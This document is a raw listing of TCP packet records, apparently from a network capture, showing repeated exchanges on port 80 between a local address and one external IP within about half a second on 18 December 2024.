Dec 18, 2024 22:02:40.661937952 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.662056923 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.662094116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.662137985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.663146019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.663203001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.663299084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.663353920 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.664403915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.664462090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.664551973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.664625883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.665680885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.665730000 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.665811062 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.665860891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.666893005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.666946888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.667016029 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.667139053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.668107986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.668163061 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.668253899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.668312073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.669450998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.669605970 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.669648886 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.669661045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.670597076 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.670654058 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.670751095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.670799971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.671870947 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.671927929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.671972036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.672044992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.714541912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.714605093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.714689970 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.714745045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.715059042 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.715117931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.715163946 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.715265989 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.716270924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.716326952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.716423035 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.716547012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.717525005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.717578888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.717667103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.717757940 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.718761921 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.718816996 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.718910933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.718959093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.720065117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.720125914 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.720158100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.720204115 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.721247911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.721299887 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.721506119 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.721559048 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.722507000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.722560883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.722632885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.722692013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.723800898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.723854065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.723886013 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.723929882 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.724988937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.725038052 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.725128889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.725167990 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.726258993 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.726313114 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.726377010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.726423979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.727451086 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.727504969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.727581978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.727624893 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.728684902 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.728732109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.728857040 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.729007959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.729935884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.729990005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.730081081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.730161905 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.731184006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.731240034 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.731333971 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.731498957 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.732455969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.732510090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.732582092 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.732630968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.733633041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.733685017 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.733778954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.733820915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.734922886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.735033989 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.735074997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.735125065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.736125946 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.736166954 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.736248970 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.736291885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.737365007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.737406969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.737473011 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.737515926 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.738651037 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.738730907 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.738770962 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.738806963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.739901066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.740000010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.740051031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.741123915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.741331100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.741385937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.742238998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.746660948 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.828721046 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.828825951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.828886986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.828919888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.829272985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.829328060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.829406023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.830482006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.830534935 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.830641985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.831971884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.832025051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.832114935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.832165956 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.833002090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.833163977 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.833168983 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.833214045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.834181070 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.834229946 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.834392071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.834440947 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.835382938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.835432053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.835607052 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.835655928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.836697102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.836746931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.836791039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.836842060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.838006020 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.838082075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.838129997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.839121103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.839361906 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.839411020 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.840595007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.840631008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.840646029 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.841799021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.841856003 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.841917038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.842945099 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.843000889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.843008041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.843056917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.844111919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.844227076 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.844278097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.845381975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.845488071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.845540047 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.846630096 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.846681118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.846755028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.847898006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.847949982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.848042965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.848783016 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.849072933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.849123955 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.849208117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.850306988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.850361109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.850495100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.851577997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.851633072 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.851713896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.851766109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.852823973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.852884054 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.852916002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.852963924 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.854017019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.854134083 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.854191065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.855338097 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.855477095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.855529070 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.856534004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.856585026 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.856630087 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.856748104 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.857795000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.857844114 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.858036995 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.858086109 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.859077930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.859124899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.859124899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.859169960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.860325098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.860374928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.860411882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.860465050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.861496925 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.861644983 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.861695051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.862734079 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.862873077 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.862943888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.863960028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.864010096 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.864186049 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.865345955 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.906747103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.907075882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.907144070 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.907339096 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.907603979 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.907654047 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.908704996 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.908721924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.908755064 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.908782005 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.909892082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.909943104 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.909989119 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.911010981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.911281109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.911334991 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.912298918 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.912360907 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.912375927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.912641048 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.913512945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.913567066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.913651943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.913702965 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.914762020 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.914809942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.914958954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.915009022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.916042089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.916090012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.916249037 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.916877985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.917324066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.917372942 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.917380095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.917412996 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.918530941 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.918581963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.918649912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.918703079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.919683933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.919739008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.919868946 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.919918060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.920926094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.921087027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.921134949 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.922194958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.922359943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.922415018 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.923391104 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.923440933 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.923531055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.924618959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.924669981 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.924804926 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.925132990 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.925873995 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.926131964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.926181078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.927144051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.927366018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.927423954 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.928435087 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.928487062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.928533077 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.928648949 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.929764986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.929815054 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.929852962 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.929900885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.930847883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.930896997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.931000948 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.931051016 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.932204008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.932250023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.932256937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.932301044 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.933330059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.933489084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.933536053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.934537888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.936902046 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.021266937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.021325111 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.021333933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.021377087 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.021555901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.021785021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.021838903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.022850990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.023040056 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.023088932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.023212910 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.024166107 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.024225950 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.024267912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.024369001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.025290966 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.025351048 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.025475979 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.025593996 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.026587963 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.026645899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.026843071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.027883053 CET	80	49764	185.219.81.135	192.168.2.5
